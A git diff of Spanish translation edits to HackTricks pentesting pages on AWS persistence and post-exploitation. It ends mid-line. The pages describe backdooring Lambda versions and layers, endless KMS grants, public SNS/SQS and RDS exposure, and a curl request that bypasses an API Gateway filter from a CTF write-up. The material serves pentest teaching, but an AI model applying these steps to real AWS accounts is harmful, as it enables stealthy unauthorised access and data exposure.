a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 466e0a6d1..719dff5a5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -42,6 +42,6 @@ Otorgar permisos de Administrador a una política que no sea su última versión ### Puerta Trasera / Crear Proveedor de Identidad -Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían aumentarse para que el atacante pueda abusar de ellas. +Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían ser aumentadas para que el atacante pueda abusar de ellas. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 99c6f65f1..37ca74a60 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -12,15 +12,15 @@ Para más información, consulta: ### Conceder acceso a través de políticas de KMS -Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de Privesc de KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para más información. +Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) para más información. -### Concesión Eterna +### Grant eterno -Las concesiones son otra forma de dar a un principal algunos permisos sobre una clave específica. Es posible dar una concesión que permita a un usuario crear concesiones. Además, un usuario puede tener varias concesiones (incluso idénticas) sobre la misma clave. +Los grants son otra forma de otorgar a un principal algunos permisos sobre una clave específica. Es posible dar un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma clave. -Por lo tanto, es posible que un usuario tenga 10 concesiones con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 concesión, se deberían generar otras 10. +Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 grant, se deberían generar otros 10. -(Estamos usando 10 y no 2 para poder detectar que se eliminó una concesión mientras el usuario aún tiene alguna concesión) +(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario aún tiene algún grant) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index c090f6b44..6fbec5eff 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Para más información, consulta: +Para más información consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### Persistencia de Lambda Layer -Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa: +Es posible **introducir/puerta trasera una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Persistencia de Extensiones de Lambda -Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes. +Abusando de las Lambda Layers también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes. {{#ref}} aws-abusing-lambda-extensions.md @@ -36,25 +36,25 @@ Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actual Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\ Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\ -De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso. +De esta manera, un atacante podría crear una **versión 1 con puerta trasera** y una **versión 2 solo con el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
-### Backdoor de Versión + API Gateway +### Puerta trasera de versión + API Gateway 1. Copia el código original de la Lambda -2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST +2. **Crea una nueva versión con puerta trasera** del código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST 1. Llama al API gateway relacionado con la lambda para ejecutar el código 3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST. -1. Esto ocultará el código con backdoor en una versión anterior -4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1::function::1` -1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario). +1. Esto ocultará el código con puerta trasera en una versión anterior +4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con puerta trasera de la lambda: `arn:aws:lambda:us-east-1::function::1` +1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con puerta trasera en este escenario). 5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`** -6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado +6. Ahora, cuando **llames a la función vía POST tu Puerta Trasera** será invocada ### Actuador Cron/Event -El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\ +El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa el tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\ Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**. - Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index f52a1ad08..3b652b2a0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -6,8 +6,8 @@ Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**. -- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. -- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**. +- **Extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. +- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**. Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). @@ -15,18 +15,18 @@ Para más información sobre [**cómo funcionan las extensiones de lambda, consu Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.** +Se encontró que el kernel de Linux por defecto en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.** Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP. -El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid. +El proceso Init (Rapid) monitorea todas las solicitudes API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda son inicializadas y ejecutadas antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales. > [!WARNING] -> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto. +> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que habilita la alteración del número de puerto. Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index 8d5041b79..d76621858 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -6,7 +6,7 @@ Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración. -Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución. +Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, el **contenido se extrae en el directorio `/opt`** en el entorno de ejecución. Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada. @@ -54,7 +54,7 @@ Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defect En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**. -Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que sea cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\ Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\ Este archivo debe: diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index d94305074..2e9e7bc6d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -1,4 +1,4 @@ -# AWS - Lightsail Persistence +# AWS - Persistencia en Lightsail {{#include ../../../banners/hacktricks-training.md}} @@ -20,14 +20,14 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera: - Usando un **rootkit** tradicional, por ejemplo - Agregando una nueva **clave SSH pública** -- Exponer un puerto con port knocking con una puerta trasera +- Exponiendo un puerto con port knocking con una puerta trasera ### Persistencia DNS Si los dominios están configurados: -- Crear un subdominio apuntando a tu IP para que tengas un **subdomain takeover** -- Crear un registro **SPF** que te permita enviar **emails** desde el dominio -- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP a las legítimas +- Crea un subdominio apuntando a tu IP para que tengas un **subdomain takeover** +- Crea un registro **SPF** que te permita enviar **emails** desde el dominio +- Configura la **IP del dominio principal a la tuya** y realiza un **MitM** desde tu IP a las legítimas {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index e470b14f4..bcf5295a4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -1,4 +1,4 @@ -# AWS - RDS Persistence +# AWS - Persistencia en RDS {{#include ../../../banners/hacktricks-training.md}} @@ -12,13 +12,13 @@ Para más información, consulta: ### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance` -Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar la accesibilidad pública**. +Un atacante con este permiso puede **modificar una instancia de RDS existente para habilitar la accesibilidad pública**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` ### Crear un usuario administrador dentro de la DB -Un atacante podría **crear un usuario dentro de la DB** para que incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos. +Un atacante podría **crear un usuario dentro de la DB** para que, incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos. ### Hacer la instantánea pública ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 396124814..1019c44f2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,4 +1,4 @@ -# AWS - Persistencia en Secrets Manager +# AWS - Persistencia de Secrets Manager {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Para más información, consulta: ### A través de Políticas de Recursos -Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que encripta el secreto**. +Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**. ### A través de Lambda de Rotación de Secretos diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 4fb5d97db..35508ce9d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### Persistence -Al crear un **tema SNS**, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ +Al crear un **tema SNS** necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**: ```json { diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 7921a2ea6..8cd6abfd7 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,15 +4,15 @@ ## SQS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Usando política de recursos +### Usando la política de recursos -En SQS, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ +En SQS necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**: ```json { @@ -32,6 +32,6 @@ La siguiente política le da a todos en AWS acceso a todo en la cola llamada **M } ``` > [!NOTE] -> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se coloca un nuevo mensaje** en la cola (tendrías que volver a colocarlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se ponga un nuevo mensaje** en la cola (tendrías que volver a ponerlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..698de9a73 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM Persistencia diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index ed58e994a..d82f04b69 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -10,12 +10,12 @@ Para más información, consulta: ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Puerta trasera en funciones de paso +### Inyección de Backdoor en Step Functions -Poner una puerta trasera en una función de paso para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos. +Inyecta un backdoor en una step function para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos. -### Puertas traseras en alias +### Inyección de Backdoor en alias -Si la cuenta de AWS está utilizando alias para llamar a las funciones de paso, sería posible modificar un alias para usar una nueva versión con puerta trasera de la función de paso. +Si la cuenta de AWS está utilizando alias para llamar a las step functions, sería posible modificar un alias para usar una nueva versión con backdoor de la step function. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index f2b6ca136..7018e1ba4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -10,7 +10,7 @@ Para más información accede a: ../aws-services/aws-sts-enum.md {{#endref}} -### Token de rol asumido +### Token de asunción de rol Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia. @@ -26,9 +26,9 @@ aws sts get-session-token \ # El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
-### Malabarismo de Cadenas de Roles +### Malabarismo de Cadenas de Rol -[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizada para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales. +[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales. Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index b284a9fb4..5d38838dd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,18 +4,18 @@ ## API Gateway -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Acceso a APIs no expuestas +### Acceder a APIs no expuestas Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\ Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente. -### Bypass Request body passthrough +### Eludir el paso del cuerpo de la solicitud Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). @@ -28,7 +28,7 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi ``` Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro. -Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta de dynamoDB arbitraria sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`: +Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta arbitraria de dynamoDB sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` @@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**. -La **API Key** solo necesita ser **incluida** dentro de un **encabezado HTTP** llamado **`x-api-key`**. +La **API Key** solo necesita ser **incluida** dentro de un **HTTP header** llamado **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` @@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API. -> [!NOTE] +> [!NOTA] > Necesita pruebas ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` @@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API. -> [!NOTE] +> [!NOTA] > Necesita pruebas ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` @@ -91,12 +91,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API. -> [!NOTE] +> [!NOTA] > Necesita pruebas ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**. +Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**. ```bash API_ID="your-api-id" @@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impacto Potencial**: Debilitar la seguridad de la API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible. +**Impacto Potencial**: Debilitamiento de la seguridad de la API, lo que podría permitir el acceso no autorizado o exponer información sensible. > [!NOTE] > Necesita pruebas diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index a59409efd..376e676b7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-cloudfront-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index a826c330d..5781fc890 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -56,7 +56,7 @@ aws codebuild delete-project --name ``` **Impacto Potencial**: Pérdida de la configuración del proyecto y interrupción del servicio para las aplicaciones que utilizan el proyecto eliminado. -### `codebuild:TagResource`, `codebuild:UntagResource` +### `codebuild:TagResource` , `codebuild:UntagResource` Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CodeBuild, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 67a0accd4..604910bd8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -8,9 +8,9 @@ Primero, verifica si hay credenciales de origen configuradas que podrías filtra ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### A través de la imagen de Docker -Si 